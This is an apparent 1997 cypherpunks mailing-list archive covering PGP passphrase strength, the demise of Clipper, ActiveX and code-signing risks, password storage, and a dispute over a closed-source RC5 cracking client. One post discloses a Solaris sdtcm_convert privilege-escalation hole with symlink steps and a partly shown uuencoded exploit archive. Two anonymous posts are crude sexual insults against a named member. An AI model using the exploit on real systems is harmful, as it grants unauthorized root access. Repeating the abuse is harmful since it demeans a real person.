Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From camcc at abraxis.com Fri Feb 21 13:21:23 1997 From: camcc at abraxis.com (Alec) Date: Fri, 21 Feb 1997 13:21:23 -0800 (PST) Subject: IDEA/Strength? Message-ID: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- Is the strength, or lack thereof, of conventional PGP encryption proportional to the length of the conventional password? For example, when I encrypt conventionally, does it make any difference internally (disregarding the ability to guess the password) if I choose to use the pass phrase heyyou, or [Harris$Pizza*Axis/LilburnKfreakmaisUoui@(. Not so much the randomness of my password as the length? Do more characters give the encryption process more to work with? Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Public key available on request or from keyservers. iQCVAgUBMw4RtCKJGkNBIH7lAQEDmwP/WANzYA3KVyL5yNyE02hYotMgR6EKPxIm Q4hP5TiZzAve29CMc972Udeb1BJU9Ow6slHbpoLREH1qlWWqNpzO3YS6X5nYrXDM NeEf4sCTxkZ/33u48rv4T0ZD69/JGQV11/GMbsI3wJjCKW57Fb8cE8ANj4dDWblm 6spqX6YDecQ= =/AVU -----END PGP SIGNATURE----- From haystack at holy.cow.net Fri Feb 21 17:46:22 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Fri, 21 Feb 1997 17:46:22 -0800 (PST) Subject: No Subject Message-ID: <199702220126.UAA18431@holy.cow.net> Timmy C[rook] May is the living proof that anal sex causes pregnancy. /\_/\ ( x x ) -oo0-(o o)-0oo- Timmy C[rook] May From pgut001 at cs.auckland.ac.nz Fri Feb 21 19:57:17 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Fri, 21 Feb 1997 19:57:17 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <85658381511274@cs26.cs.auckland.ac.nz> >>I've just got the details on two new crypto chips produced by the Dutch >>company Pijnenburg Custom Chips B.V. >Were those prices 1-off? Any idea what the price would be for volume? Those are one-off prices. You'll have to contact Pijnenburg (see the address in the original message) for more details. Peter. From stewarts at ix.netcom.com Fri Feb 21 20:54:12 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 21 Feb 1997 20:54:12 -0800 (PST) Subject: Clipper article in Cu Digest, #9.10, Wed 20 Feb 97 In-Reply-To: <199702210613.WAA03126@weber.ucsd.edu> Message-ID: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com> CUD is available at URL: http://www.soci.niu.edu/~cudigest/ Here are some excerpts: >>From -- Fight Censorship > Federal Computer Week > DOD sinks the Clipper .. > The Defense Department plans to remove the government key escrow > software from its Fortezza cards used on the Defense Message System, a > move that signals the death of the Clinton administration's > controversial Clipper initiative and one that should encourage > civilian use of the cryptographic cards. > > A DOD spokeswoman confirmed the decision to remove the key escrow but > would not provide further details. > > The DOD decision, which will be formalized in a policy expected out > shortly, is in response to the administration's decision last October > to support key recovery technology instead of the controversial > Clipper initiative. Each agency must decide how it will implement the > government's policy internally. A technical advisory committee will > develop standards for a federal key management infrastructure. ... > DOD has for years pressured civilian agencies to use government escrow > technology, but the agencies were wary of the law enforcement access. > Stephen Walker, president and chief executive officer of Trusted > Information Systems Inc. (TIS), said the policy will remove the last > remnants of the Clipper and serve as an official endorsement of key > recovery technology. > > "This is the end of Clipper,'' Walker said. "This is a very positive > move because it puts the Defense Department in a posture of using > commercial products instead of Defense Department products. If the > Defense Department is moving away from key escrow, no one else is > going to feel obligated to have key escrow either." .... > Sources said DOD's move was targeted to increase the appeal of the > Fortezza card to users outside DOD. > > Bruce McConnell, chief of information policy at the Office of > Management and Budget, said the move would make Fortezza cards more > attractive, but he cited different reasons. "It does encourage people > to use it because it moves toward the commercial approach that's being > taken," he said. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 21 22:02:41 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 21 Feb 1997 22:02:41 -0800 (PST) Subject: RRE: Risks on digital signatures, several other topics Message-ID: <01IFP51YM3FK8Y52G0@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 21-FEB-1997 23:42:52.06 From: Phil Agre =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST) From: risks at csl.sri.com Subject: RISKS DIGEST 18.83 RISKS-LIST: Risks-Forum Digest Friday 21 February 1997 Volume 18 : Issue 83 ---------------------------------------------------------------------- Date: Wed, 19 Feb 1997 17:12:43 -0500 From: Edward Felten Subject: Myths about digital signatures There has been a lot of public discussion lately about digital signatures on mobile code. Several myths permeate this discussion. I'd like to puncture three of them. * Myth 1: Digital signatures let you know who wrote a program, or where it came from. Reality: Anybody can remove the author's signature or add their own signature. At best, a signature tells you that the signer endorsed the program recently. Endorsement is more useful than authorship anyway; most people care more about whether their corporate MIS department has endorsed a program than about who wrote the program. * Myth 2: If X has signed a program, and I trust X, then it is safe for me to download the program. Reality: There have been plenty of incidents of reputable and well-meaning organizations spreading viruses or serving as the base for security attacks. Before accepting a download from X, it's not enough to ask "Do I trust X?" One must also ask questions like "How carefully has X managed his cryptographic keys?" and "What is the probability that X's security has been penetrated?" * Myth 3: Digital signatures provide accountability; if a program signed by X is malicious, the victim can sue X. Reality: Suppose I accept a download signed by X. A few seconds later there is some mysterious network traffic and then my disk gets wiped clean. X could be the culprit. Or X could be innocent --- that code I downloaded from Y three days ago could have waited a while before detonating. Or somebody could have exploited a bug somewhere else in my system. I have *no evidence* to distinguish these cases --- all the evidence disappeared when my disk was erased. (We can assume the attacker is smart enough to remove the hostile code from his site immediately after the attack.) If the attacker doesn't erase my disk, I can't trust the apparent evidence anyway. After all, the attacker had free run of my system and could have planted whatever "evidence" he liked. The evidence, whether real or not, will collapse in the first cross-examination. Signatures can provide accountability, but only with much more rigorous logging and auditing than today's consumer software provides. ------------------------------ Date: Mon, 17 Feb 1997 08:21:44 -0500 From: amesr at interlog.com (Robert Ames) Subject: Forgeries and Dejanews It seems that an effective way to attack an individual is to forge a Usenet article purportedly from that person, and to include in the article "admissions" or bigotted statements which would reflect poorly on his character. The forged article is then collected by Dejanews and similar organizations and archived. It becomes part of the Dejanews "profile" on the supposed author. I was one of the victims of a series of forgeries in August and September, 1996. The perpetrator originated at ixc.net in New York, and then telnetted to news.uu.net and other open news servers to post as the victim. Although I cancelled the forged article and posted a PGP-signed repudiation, the article was still archived at Dejanews, and was recently used by someone to "prove" that I had made statements which put me in a bad light. Since this is a general problem which can impact on anyone, I feel it needs to be discussed. Perhaps news archivers should be under the same scrutiny as credit reporting agencies. ------------------------------ Date: Wed, 19 Feb 1997 19:58:39 -0500 From: Edward Felten Subject: Mobile code security mailing list We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo at cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ------------------------------ Date: Wed, 19 Feb 1997 13:33:51 -0500 From: Paul Robinson Subject: ActiveX basic problem As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no less than a Windows Dynamic Link Library (DLL) that has all the power and capability of any other DLL loaded on a Windows system, i.e. any damn thing it wants to do. This alone should ring the death knell on use of ActiveX for anything other than perhaps on an intranet behind a firewall that does not allow any incoming traffic, and maybe not even then. Paul Robinson, Evergreen Software ------------------------------ Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT) From: Lloyd Wood Subject: MS on the CCC ActiveX virus (fwd) Here is Microsoft's official line on the security of ActiveX. This leaves a very nasty taste in my mouth. The onus on the users to be responsible with their tools, as usual, rather than on the developers to create safer tools. Lloyd +44-1483-300800x3435 ---------- Forwarded message ---------- Date: Fri, 21 Feb 1997 10:31:18 -0500 >From: glen mccready Subject: MS on the CCC ActiveX virus Forwarded-by: garman at phs.k12.ar.us (Jason Garman) >From: Site Builder Network Subject: SBN Wire: News Flash Dear Site Builder Network Member, Tomorrow, Microsoft will be posting the attached letter to our web site, and sending it out to the Internet Explorer community. In it, Brad Silverberg addresses head-on the recent security questions facing the industry regarding malicious, unsigned controls. We know this issue is important to you and your customers, and wanted to give you a heads-up. For more information, check out http://www.microsoft.com/security Tod Nielsen, General Manager, Developer Relations Group = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = >From the Office of Brad Silverberg Senior Vice President Microsoft Corporation 1 Microsoft Way Redmond, WA 98052 Dear Internet Users Everywhere: You may have heard reports about a malicious software program created and demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany. I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has the appropriate safeguards to protect against this type of threat. By using its default security level (High) that comes pre-set, Internet Explorer 3.0 will not download and run any "unsigned" control such as the one from the CCC. The CCC demonstrated its malicious executable code running on Microsoft Internet Explorer 3.0, though they could just as easily have demonstrated a similar attack on any other browser. While it is unfortunate that hackers have created this harmful program, it does point out the need for users to act cautiously and responsibly on the Internet, just as they do in the physical world. Malicious code can be written and disguised in many ways - within application macros, Java(tm) applets, ActiveX(tm) controls, Navigator plug-ins, Macintosh(R) applications and more. For that reason, with Internet Explorer 3.0, Microsoft has initiated efforts to protect users against these threats. Microsoft Authenticode(tm) in Internet Explorer 3.0 is the only commercial technology in use today that identifies who published executable code you might download from the Internet, and verifies that it hasn't been altered since publication. If users choose to change the default security level from High to Medium, they still have the opportunity to protect themselves from unsigned code. At a Medium setting, prior to downloading and running executable software on your computer, Microsoft Internet Explorer presents you with a dialog either displaying the publisher's certificate, or informing you that an "unsigned control" can be run on your machine. At that point, in either case, you are in control and can decide how to proceed. As you know, Microsoft is committed to giving users a rich computing experience while providing appropriate safeguards. Most useful and productive applications need a wide range of system services, and would be seriously limited in functionality without access to these services. This means that many Java applications will have to go "outside the sandbox" to provide users with rich functionality. By signing code, a developer can take advantage of these rich services while giving users the authentication and integrity safeguards they need. Other firms such as Sun and Netscape are following our lead, and have announced that they will also provide code signing for Java applets. Microsoft will also be providing an enhanced Java security model in the future, giving users and developers flexible levels of functionality and security. Microsoft takes the threat of malicious code very seriously. It is a problem that affects everyone in our industry. This issue is not tied to any specific vendor or group of people. All of us that use computers for work, education, or just plain fun need to be aware of potential risks and use the precautions that can insure we all get the most out of our computers. For this reason, we are committed to providing great safeguards against these types of threats in Internet Explorer. We expect hackers and virus writers to get increasingly sophisticated but we pledge we'll continue to keep you and us one step ahead of them. Brad Silverberg P.s. Be sure to check out our Web Executable Security Advisor at http://www.microsoft.com/security ------------------------------ Date: Thu, 20 Feb 1997 10:43:36 -0800 From: Travis Winfrey Subject: Microsoft "defends" ActiveX The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the MS response to the activeX/quicken bug where downloaded activeX applets can actually transfer real money out of your bank account (bug not applicable in America). They point to this URL: http://www.microsoft.com/security/ which has this instant-classic paragraph, emphasis not in the original: While the Java sandbox enforces a high degree of security, it does not let users download and run exciting multimedia games or other full-featured programs on their computers. As a result, users may want to download code that has full access to their computers' resources. ------------------------------ Date: 15 Aug 1996 (LAST-MODIFIED) From: RISKS-request at csl.sri.com Subject: Abridged info on RISKS (comp.risks) The RISKS Forum is a MODERATED digest. Its Usenet equivalent is comp.risks. => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) if possible and convenient for you. Or use Bitnet LISTSERV. Alternatively, (via majordomo) DIRECT REQUESTS to with one-line, SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or INFO [for unabridged version of RISKS information] => The INFO file (submissions, default disclaimers, archive sites, .mil/.uk subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info The full info file will appear now and then in future issues. *** All contributors are assumed to have read the full info file for guidelines. *** => SUBMISSIONS: to risks at CSL.sri.com with meaningful SUBJECT: line. => ARCHIVES are available: ftp://ftp.sri.com/risks or ftp ftp.sri.comlogin anonymous[YourNetAddress]cd risks or http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]. The ftp.sri.com site risks directory also contains the most recent PostScript copy of PGN's comprehensive historical summary of one liners: get illustrative.PS ------------------------------ End of RISKS-FORUM Digest 18.83 ************************ Standard Risks reuse disclaimer: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse. From stewarts at ix.netcom.com Fri Feb 21 22:45:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 21 Feb 1997 22:45:09 -0800 (PST) Subject: Myths of Digital Signatures: RISKS article by Ed Felten Message-ID: <3.0.1.32.19970221224202.00655418@popd.ix.netcom.com> Ed Felten has an article in RISKS Digest, Volume 18, Issue 83, http://catless.ncl.ac.uk/Risks/18.83.html called "Myths about digital signatures". It's focused on the "Microsoft Signed This ActiveX Applet So It Must Be Safe" delusion. Nothing we haven't heard before, but a good summary. He's also announcing a mailing list on security of Java/ActiveX/etc. =================================================== Mobile code security mailing list Edward Felten Wed, 19 Feb 1997 19:58:39 -0500 We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo at cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ================================================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From nobody at REPLAY.COM Fri Feb 21 23:07:21 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 21 Feb 1997 23:07:21 -0800 (PST) Subject: Forgery detection Message-ID: <199702220636.HAA10947@basement.replay.com> Timmy `C' Maya's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. o-:^>___? Timmy `C' Maya `~~c--^c' From stewarts at ix.netcom.com Fri Feb 21 23:48:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 21 Feb 1997 23:48:08 -0800 (PST) Subject: IDEA/Strength? In-Reply-To: <3.0.1.32.19970221162111.006a8310@smtp1.abraxis.com> Message-ID: <3.0.1.32.19970221234738.005c05c8@popd.ix.netcom.com> At 04:21 PM 2/21/97 -0500, Alec wrote: >Is the strength, or lack thereof, of conventional PGP encryption >proportional to the length of the conventional password? Sure, up to 128 bits of entropy. Go check out pgpcrack. Suppose you wanted to do a brute-force attack on a PGP conventionally encrypted document, and you knew the passphrase was one character long. What would you do? How many tries would it take to be sure you got the right passphrase? Suppose you knew the passphrase was one word in a common on-line dictionary. What would you do, and how many tries would it take? Since the passphrase is MD5-hashed to a 128-bit-long key, there are only 2**128 really-different passphrases, though for any given passphrase, most of the members of the infinitely large class of equivalent passphrases won't be very easy to remember :-) Since MD5 is cryptographically strong, we used to assume it would be hard to find those equivalence classes, though Dobbertin's work suggests it's not as hard to find collisions as we used to assume. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 22 00:03:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 22 Feb 1997 00:03:06 -0800 (PST) Subject: Interesting question: how to safely keep passwords online In-Reply-To: <199702181940.LAA24732@peregrine.eng.sun.com> Message-ID: <3.0.1.32.19970222000137.00622bd8@popd.ix.netcom.com> At 11:40 AM 2/18/97 -0800, Ed Falk wrote: >Here's a question that's been on my mind lately: Often, you like >to keep external passwords stored on your personal computer. As a quick >example, Eudora will remember your POP password for you so you don't >have to enter it every time. Obviously, Eudora keeps this on disk >somewhere. >The question is: is there any (relatively) safe way to do this? Depends on your threat models.... The relatively safe way is to use an encrypted disk volume, so everything stored on it is "safe", though any time the disk volume is open, you're obviously at risk. My laptop is relatively secure, unless someone has physical access to it; if I used a boot password and encrypted disk volume it would require an active attack to get the information, rather than simple theft. (NT has a password, but it's not worth much if you've got the disk.) Another popular approach, which PGP uses for storing private keys, is to store the keys in an encrypted file, and use a passphrase for access; variants include one passphrase for the whole file, or one passphrase per record. Of course, if you can replace the "PGP" program with a trojan version, you can still steal the passphrase. Or you can use a keystroke sniffer to store any password-like input. Of course, an even more popular approach is to ignore the problem, and just leave the password around in plaintext in an INI file or Registry, or encrypt it with some Really Secure KeyLess Proprietary Algorithm, like rot13 ("We'll fool them - we'll use rot39! It's 3 times as secure!") If you've got off-machine storage, e.g. a SecureID-like calculator or other smartcard with on-card PIN entry, you can do actual security. Even then you need to be careful about all the protocols; it doesn't do much good to have a 4096-bit RSA key if a trojan shim can replace the card's response of "Not OK" with "OK" before the real application reads it. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 22 00:22:00 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 22 Feb 1997 00:22:00 -0800 (PST) Subject: IDEA/Strength? Message-ID: <01IFP9X27J408Y52G0@mbcl.rutgers.edu> From: IN%"stewarts at ix.netcom.com" "Bill Stewart" 22-FEB-1997 03:05:51.28 >At 04:21 PM 2/21/97 -0500, Alec wrote: >>Is the strength, or lack thereof, of conventional PGP encryption >>proportional to the length of the conventional password? >Sure, up to 128 bits of entropy. Go check out pgpcrack. Another way to put it is that the length places a _maximum_ on the entropy; no more than 7 bits (unless PGP's interface can deal with control/etcetera keys) minus a fractional bit (for characters like delete) per character. Of course, simply expanding a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but most non-pathological passphrases will expand in entropy as they expand in length. (There is the consideration, however, that a lengthy passphrase may need to be in alphabetical characters, as opposed to alphanumeric, due to human memory limitations. If you didn't/don't have that, then even a completely random over-19-character long passphrase (enough to be more than 128 effective bits going in) could be of assistance; greater length makes it more likely that someone observing you will miss enough of the passphrase to make a search impractical.) -Allen From stewarts at ix.netcom.com Sat Feb 22 00:48:06 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Sat, 22 Feb 1997 00:48:06 -0800 (PST) Subject: No Subject Message-ID: <199702220848.AAA21157@toad.com> CC: From: stewarts at ix.netcom.com (Bill Stewart) Subject: 167-digit number factored X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95) The article's gotten a bit garbled through replies, but this was on sci.crypt. > In article phr at netcom.com (Paul Rubin) writes: > >In article <5dna0l$nrl at arthur.cs.purdue.edu>, > >Samuel S Wagstaff wrote: > > >>On Tuesday, 4 February 1997, we completed the factorization of a > >>composite number of 167 digits, one of the `More Wanted' factorizations > >>of the Cunningham Project. It is: > >> > >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87 > >> > > >Congratulations.... was this factorization much easier than > >factoring a general 167 (or 160) digit number? > > Yes, this c167 is much easier. I just finished the 136-digit number > > n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13 > > (a divisor of (2^1362 + 1)/(2^454 + 1)). The sieving took > 85 machine-days (about two weeknights) on a network of 60 SGI machines, > and took advantage of n's representation as a polynomial in 2^113. > Last year's factorization of RSA130 (130 digits) took 6 calendar-months > to sieve, at multiple sites. By the way, the new factorization is > n = p49 * p88, where > > p49 = 2393102462756185953833037662530180237989024296581 > p88 = 14952485345141425227257136559467580083134337 \ > 51379919088823926933276083374444560702796609 > > The c167 factorization of (3^349 - 1)/2 was about as hard > as doing a general number around 115-120 digits. > -- > Peter L. Montgomery pmontgom at cwi.nl San Rafael, California > > A mathematician whose age has doubled since he last drove an automobile. > From eplatt at wco.com Sat Feb 22 01:14:46 1997 From: eplatt at wco.com (Evan Platt (IN3501)) Date: Sat, 22 Feb 1997 01:14:46 -0800 (PST) Subject: Photos Digitized and Theyre Done Dirt Cheap! Message-ID: <3.0.32.19970222001335.006f4f2c@mail.wco.com> Attn: you fell victim to this persons abuse of Internet E-Mail. You can help stop him by doing two things: 1. do NOT use his service. Find somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his message with all headers intact to postmaster at aol.com,abuse at aol.com,tosadvisor at aol.com,stevecase at aol.com,root at a ol.com This will make sure that AOL knows you do NOT want to receive this persons crap, and they will shut down his account. Thank you for listening, and help stop SPAM! At 01:26 PM 2/21/97 -0500, Bulkyman at aol.com wrote: >Photos Digitized and They�re Done Dirt Cheap! From skipo at sundy.cs.pub.ro Sat Feb 22 07:14:42 1997 From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR) Date: Sat, 22 Feb 1997 07:14:42 -0800 (PST) Subject: Security hole in Solaris 2.5 (sdtcm_convert) + exploit Message-ID: Sat Feb 22 15:25:48 EET 1997 Romania Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert I made an exploit, so you have to extract the text, uudecode it, and exec a 'tar -xf exploit.tar'. You'll get the files in exploit_dir. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo at math.pub.ro skipo at sundy.cs.pub.ro skipo at ns.ima.ro Phone: (401) 410.60.88 begin 600 exploit.tar M97AP;&]I=%]D:7(O4D5!1$U% M M # Q,# V,# ,# P,#0V, P,# P-#4W # P,# P,# Q,#(Q M # V,S S-32YC7!E2AT87)G970L87)G=ELQ72D["@ES=')C<'DH MPH)"7!E&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D] M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK M*'1A5QN(BQS:7IE M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D) Message-ID: <199702221715.MAA07384@zero.genx.net> # > > > For instance, New Media Laboratories provides no source code for their # > > > software, nor any type of documentation to track what it 'should' be # > > > doing vs. what it 'is' doing. # > > # > > I had no difficulty obtaining source from them for benchmarking/porting # > > reasons. I do freely admit that there is a lack of documentation. Let's clear a few things up right off the bat here. This whole thing was done strictly out of complete boredom with the participation of a small group of people, mainly online friends. Needless to say it has grown at a seemingly exponential rate, putting us somewhere in the ballpark of having a "real shot" at this. Source code was initially released on a very early version of the RC5-client, after a half dozen or so rogue clients started up, we decided to quickly strop distributing source code until the whole client->server protocol could be devised "the right way".. Source code for "current" client will be released as well, hopefully very soon now. Well documentation for what it is doing? It's uh, doing some math or something; that's retarded. Documentation for running? Well, I suppose anyone unfamiliar with normal ``man(1)'' style syntaxing would find it cryptic at best, but it should be fairly straight forward. Now that there actually seems to be extensive participation in this, we're doing a FAQ on the website. Hopefully this will alleviate alot of this. # > I have had no difficulty in obtaining silence in response to my # > email regarding New Media Labaoratories and their software. # > When I received your post, I was on the verge of deciding that their # > silence was an indication that they wanted me to consider myself their # > official spokesperson. # > That would have been fun. Generally I dont waste my time dealing with such ludicrous issues. You people should all realize, that no matter what you do, no matter how you do it, as soon as it hit's mailing lists or newsgroups, someone has opinions about it, as well as "a better way of doing it". Well whatever, it's all just a monumental waste of bandwidth. # > # > > > It reports results which are obviously # > > > in error, and there is no way to divine the source or cause of those # > > > false results. If you are speaking of the website statistics, well I'm not even going to get involved in this. I'm working on "doing it right" as time permits. I didnt have much to do with the one that is up there now. # > # > However, I am referring to the stats that I get on my own machine after # > the keys have been 'checked'. I had one message telling me, "Keyspace # > exhausted in 243.12 minutes." The only problem is that it actually took # > slightly under an hour. If it is wrong about the time, then how can I # > be expected to believe that it is right about the keys being checked? This is due to the fact that you have a bum client :) New clients, (all compiles are being verified by me before put online) are becomming available now. Proxies for all of the platforms we're supporting will be available too; caching proxies underway as well. The vast majority of the initial clients were not ported by my me. # > > A second generation of key serv statistics reporting with wiz-bang # > > graphics and other cool crap can be expected by the end of this # > > weekend. Uh, terrific. # > # > This is precisely my point. None of the people that are running these # > programs on our machines have any way of knowing just exactly what is # > taking place here. # > I'm getting more and more distressed about this utter waste of bandwidth the further down I get here. I will put specifics on how the server assigns keyspace onto the website in due time. Frankly, I do not expect, or care, to be the one to break this key. I in no way, shape or form, give unfair advantages to any of the participants. Keys are assigned, they are not ranked and assigned based on any preference whatsoever. This is pretty ridiculous. # > # > I was impressed with the genx homepage and the number of platforms to # > which the software had been ported. The software itself was ported to # > Win95 with at least enough competence to do 'something', as opposed to # > requiring me to reinvent the wheel in order to get it to run. # > But I still don't know what it does, in fact, do, or if I am just # > pissing in the wind by running it. (Or if it was written by the same # > guys who killed Kennedy). # > # > So, although I appreciate your efforts, until I find a basis for # > deciding otherwise, I will be using the Orange Crayola to connect # > you on my chart to the bad-guys on the X Files. The client allows you to participate in the RC5-56 contest (at no unfair advantage or disadvantage). That is the bottom line. If you wish to participate, we'd greatly welcome any instructions you can spare. If you don't, that's fine too, best of luck. earle. From mpd at netcom.com Sat Feb 22 09:36:14 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 22 Feb 1997 09:36:14 -0800 (PST) Subject: Security hole in Solaris 2.5 (sdtcm_convert) + exploit In-Reply-To: Message-ID: <199702221736.JAA10536@netcom14.netcom.com> Someone in Romania writes: > Another hole in Solaris Horrors no! > The exploit is very simple. Change the permision mode of your calendar > file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run > sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to > correct it (it 'll ask you first). You have only to delete the callog file > and make a symbolic link to a target file and your calendar file and said to > sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target > file ... Where would Unix be without symbolic links and race conditions? This is cute, in that rather than having to mung a symbolic link on the fly, the program conveniently asks for user input with suid set, and then pauses while you set the trap. Good work. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From toto at sk.sympatico.ca Sat Feb 22 12:57:50 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 22 Feb 1997 12:57:50 -0800 (PST) Subject: DES Crack Hype In-Reply-To: <199702221715.MAA07384@zero.genx.net> Message-ID: <330F7A0C.634E@sk.sympatico.ca> Earle Ady wrote: > > # > > > For instance, New Media Laboratories provides no source code for their > # > > > software, nor any type of documentation to track what it 'should' be > # > > > doing vs. what it 'is' doing. > Source code was initially released on a very early version of the > RC5-client, after a half dozen or so rogue clients started up, we > decided to quickly strop distributing source code until the whole > client->server protocol could be devised "the right way".. I didn't get a rogue client. I got a client off of your ftp server. And I have no idea what it is doing. > Well documentation for what it is doing? It's uh, doing some math > or something; that's retarded. Is it doing the kind of math that cracks encryption? Or the kind of math that fucks up hard-drives and operating systems? It seems to like to access the hard drive for two solid minutes for no apparent reason while it is connected to your server and, according to the message, "sleeping." A lot of things can be done in two minutes of access to a hard drive. > Now that there actually seems to be extensive > participation in this, we're doing a FAQ on the website. Hopefully this > will alleviate alot of this. I can appreciate that you seem to have been playing in the backyard with friends when the whole neighborhood decided to show up and play with you, but you should realize that if you are serious about gaining enough support to take your best shot at the DES Crack, that you will have to provide strangers with enough info to feel comfortable about running your software on their machines and those of their employers, etc. Some of my readers have sent me email asking if they should be concerned about running this-or-that software on their business boxes, and I tell them, "You should be concerned about everything you run on your business machine." "It's uh, doing some math or something..." isn't a very good basis for people to run the software on a few million bucks worth of hardware. > as soon as it hit's mailing lists or newsgroups, someone has > opinions about it, as well as "a better way of doing it". Well whatever, > it's all just a monumental waste of bandwidth. I don't think it is a waste of bandwith to question whether people should feel comfortable downloading and running applications which provide neither source code nor documentation that can be used to judge the competence and/or integrity of those producing it. > # > However, I am referring to the stats that I get on my own machine after > # > the keys have been 'checked'. I had one message telling me, "Keyspace > # > exhausted in 243.12 minutes." The only problem is that it actually took > # > slightly under an hour. If it is wrong about the time, then how can I > # > be expected to believe that it is right about the keys being checked? > > This is due to the fact that you have a bum client :) Yet you still call me a fucking retard for wanting to be able to verify that your software isn't going to turn my machine into a toaster? > New clients, > (all compiles are being verified by me before put online) are becomming > available now. Proxies for all of the platforms we're supporting will > be available too; caching proxies underway as well. This doesn't matter for shit if you have nothing in place to provide info in this regard for those participating in your group effort. > I'm getting more and more distressed about this 